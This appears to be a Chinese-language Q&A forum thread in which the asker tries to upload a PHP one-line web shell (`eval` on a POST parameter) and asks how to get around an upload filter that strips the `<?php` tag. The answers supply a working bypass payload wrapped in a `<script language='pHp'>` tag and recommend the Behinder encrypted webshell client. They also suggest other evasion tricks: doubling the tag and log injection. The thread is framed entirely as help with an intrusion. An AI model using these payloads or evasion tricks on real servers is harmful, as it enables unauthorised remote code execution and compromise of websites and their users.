Question

php一句话木马上传时<?php被过滤了要怎么破

上传时为<?php @eval($_POST['pass']);?>上传到后台后只剩菜刀显示上传内容为 @eval($_POST['pass']);?>是不是后台过滤了<?php 之后改成<?=eval($_POST['1']);?>上传只剩后菜刀显示eval($_POST['1']);?> 这种要怎么破 大神求救

Answer 1

用这个代替<script language="pHp">@eval($_POST['sb'])</script>

Answer 2

现在一般性的一句话都会被拦截，各家IDC都使用了较全面的AI学习和特征库，你可以看这篇文章就清楚了：那些强悍的PHP一句话后门，另外推荐一个最新的：“冰蝎”动态二进制加密网站管理客户端，WebShell工具

Answer 3

加两个试试？

Answer 4

要不试试日志注入？